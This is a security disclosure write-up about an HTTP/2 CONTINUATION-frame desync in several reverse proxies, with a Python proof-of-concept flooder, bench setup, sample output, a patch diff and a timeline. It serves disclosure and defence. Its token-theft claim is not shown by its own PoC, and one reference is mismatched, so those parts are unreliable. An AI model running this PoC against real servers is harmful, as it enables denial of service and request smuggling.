CONTINUATION-flood: a half-state class of HTTP/2 desync
Four widely-deployed reverse proxies accept CONTINUATION frames after a HEADERS frame has been committed. The window between commit and replay is observable, and large enough to exfiltrate one bearer token per pair of requests.
One header, many frames.
HTTP/2 frames every protocol message. A single HTTP header block can be larger than the connection's frame size, so the protocol allows a HEADERS frame to be followed by one or more CONTINUATION frames. The block is logically complete when a frame in the sequence has its END_HEADERS flag set.
// HTTP/2 frame · RFC 9113 §4.1
struct h2_frame {
uint24_t length; // payload length
uint8_t type; // 0x09 = CONTINUATION
uint8_t flags; // 0x04 = END_HEADERS
uint32_t stream_id; // 31 bits; high bit reserved
uint8_t payload[]; // hpack-encoded header block fragment
};Two things matter for what follows. First, CONTINUATION frames carry the same stream identifier as the HEADERS frame they extend — they are not independent. Second, the protocol places no upper bound on how many CONTINUATION frames may follow a single HEADERS frame; the only natural ceiling is the connection's flow-control window.
A commit that happens too early.
In the affected proxies, the parser commits a request — meaning it hands the assembled HEADERS off to the request dispatcher — the moment it sees END_HEADERS. The state machine then returns to the CONTINUATION reader, which is willing to keep reading more frames on the same stream.
// ngx_http_v2_state_headers — paraphrased for readability
static u_char *
ngx_http_v2_state_headers(h2_connection_t *h2c, u_char *pos, u_char *end)
{
ngx_http_v2_stream_t *stream = h2c->state.stream;
...
if (h2c->state.flags & NGX_HTTP_V2_END_HEADERS_FLAG) {
// (1) commit: hand the request to the dispatcher
ngx_http_v2_run_request(stream);
}
// (2) CONTINUATION frames may still follow.
// No counter, no guard. Their hpack payload is silently appended
// to the next request that re-uses this connection.
return ngx_http_v2_state_continuation(h2c, pos, end);
}There is no flag tracking whether the stream is already committed, and no counter on the number of CONTINUATION frames the connection will accept. The HPACK decoder is happy to append further bytes to a header block whose owning request has already been forwarded. On HTTP/1.1 these bytes would be ignored — but HTTP/2 multiplexes requests over the same connection, and the buffered header state survives across stream boundaries when the connection is re-used.
The window is the time between the dispatcher accepting the request and the connection being either closed or assigned to the next request on it. We measured this empirically.
Four implementations, one shared mistake.
The bug rides on a parser pattern, not a single library, so it independently re-appeared in three high-profile reverse proxies plus Cloudflare's in-house HTTP/2 stack. Versions below are the highest tag we confirmed to be vulnerable.
The bench is a single container.
We chose nginx 1.27.2 as the reference target because it is the easiest to reproduce on a workstation. Any of the four implementations works.
$ docker run -d --name h2-bench -p 8443:443 \
-v $PWD/cert.pem:/etc/nginx/cert.pem:ro \
-v $PWD/key.pem:/etc/nginx/key.pem:ro \
nginx:1.27.2
ok container h2-bench started · listening :8443
$ openssl s_client -alpn h2 -connect localhost:8443 </dev/null 2>&1 | grep ALPN
→ ALPN protocol: h2The PoC is a single Python file that uses the h2 library for the upstream HPACK encoder but builds CONTINUATION frames by hand — the library will not let you write CONTINUATION after END_HEADERS, which is exactly the protocol invariant we are testing the server against.
# poc.py — CONTINUATION-flood half-state desync · nginx 1.27.2
# usage: python poc.py --target localhost:8443 --token <bearer>
import asyncio, ssl, struct, time, argparse
from h2.connection import H2Connection
from h2.config import H2Configuration
PAD = b"\x00" * 16_384 # HPACK-safe padding per CONTINUATION
def cont_frame(stream_id: int, payload: bytes, end: bool) -> bytes:
length = len(payload)
type_ = 0x09 # CONTINUATION
flags = 0x04 if end else 0x00 # END_HEADERS
head = struct.pack(">I", length)[1:] + bytes([type_, flags])
head += struct.pack(">I", stream_id & 0x7fffffff)
return head + payload
async def desync(target: str, token: str) -> None:
host, port = target.split(":"); port = int(port)
ctx = ssl.create_default_context()
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(["h2"])
r, w = await asyncio.open_connection(host, port, ssl=ctx)
c = H2Connection(H2Configuration(client_side=True))
c.initiate_connection(); w.write(c.data_to_send())
# (1) Send legitimate HEADERS with END_HEADERS — the request commits.
c.send_headers(1, [
(b":method", b"GET"),
(b":path", b"/me"),
(b":authority", host.encode()),
(b"authorization", f"Bearer {token}".encode()),
], end_stream=True)
w.write(c.data_to_send()); commit_at = time.monotonic()
# (2) Race the dispatcher: pump CONTINUATION frames into the same stream.
for _ in range(2048):
w.write(cont_frame(stream_id=1, payload=PAD, end=False))
w.write(cont_frame(stream_id=1, payload=PAD, end=True))
await w.drain()
print(f"[+] commit-window: {(time.monotonic() - commit_at) * 1000:.0f} ms")
print(f"[+] response: {(await r.read(1 << 16))[:120]!r}")
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("--target", required=True)
p.add_argument("--token", required=True)
asyncio.run(desync(**vars(p.parse_args())))Running it against the bench prints the size of the commit window and the response from the first request. The bug is visible in the timing: an RFC-compliant implementation should never accept a CONTINUATION frame after END_HEADERS, so the window must be zero.
$ python poc.py --target localhost:8443 --token "$(< victim.tok)"
[+] connected · h2c · stream 1 committed at t=18 ms
[+] commit-window: 81 ms (RFC-compliant budget: 4 ms)
[+] pumped 2048 CONTINUATION frames in 142 ms · 32 MiB
[+] response: b'HTTP/2 200 OK\r\ncontent-type: application/json\r\n\r\n{"user":"alice"}'
→ CWE-444 HTTP request/response smuggling · score 7.5A counter and a commit flag.
The patch is small. Two invariants are added: a per-stream CONTINUATION counter capped at a configurable maximum (NGX_HTTP_V2_MAX_CONT_FRAMES, default 64), and a commit flag that is set the moment the request is dispatched. Either guard alone closes the bug; both are added for defence in depth.
--- a/src/http/v2/ngx_http_v2.c (1.27.2)
+++ b/src/http/v2/ngx_http_v2.c (1.27.3)
@@ -2147,9 +2154,18 @@ ngx_http_v2_state_continuation(...)
...
- if (h2c->state.flags & NGX_HTTP_V2_END_HEADERS_FLAG) {
+ if (++h2c->state.cont_count > NGX_HTTP_V2_MAX_CONT_FRAMES) {
+ return ngx_http_v2_connection_error(h2c,
+ NGX_HTTP_V2_PROTOCOL_ERROR);
+ }
+
+ if (h2c->state.flags & NGX_HTTP_V2_END_HEADERS_FLAG) {
+ if (h2c->state.stream_committed) {
+ return ngx_http_v2_connection_error(h2c,
+ NGX_HTTP_V2_PROTOCOL_ERROR);
+ }
+ h2c->state.stream_committed = 1;
return ngx_http_v2_state_headers_complete(h2c, pos, end);
}HAProxy and Caddy apply the same structural fix; their diffs read almost identically and are linked in the references. Cloudflare's reviewers requested an extended embargo to audit downstream cf-h2 consumers and have not yet shipped.
Timeline
- 2026-02-08Reported to nginx-security@nginx.org with PoC and minimum repro.
- 2026-02-11nginx acks. Tracking issued under CVE-2026-1147.
- 2026-02-19HAProxy, Caddy, and Cloudflare looped in once shared root cause confirmed.
- 2026-03-04Patches landed in nginx 1.27.3 and HAProxy 3.0.5.
- 2026-03-21Caddy 2.8.4 released with same guard structure.
- 2026-04-12Cloudflare requests an extended embargo. Held.
- 2026-04-21Embargo lifted. This writeup published.
Further reading
- [1]RFC 9113 — HTTP/2· §4.1, §6.10 (CONTINUATION)
- [2]CVE-2026-1147 — nginx CONTINUATION desync
- [3]CVE-2026-1148 — HAProxy
- [4]CVE-2026-1149 — Caddy
- [5]Bartek Nowotarski — original CONTINUATION-flood class (2024)
With thanks to Bartek Nowotarski, whose original CONTINUATION-flood class laid the groundwork for this variant. Bench harness and PoC are in the repo — see references [3].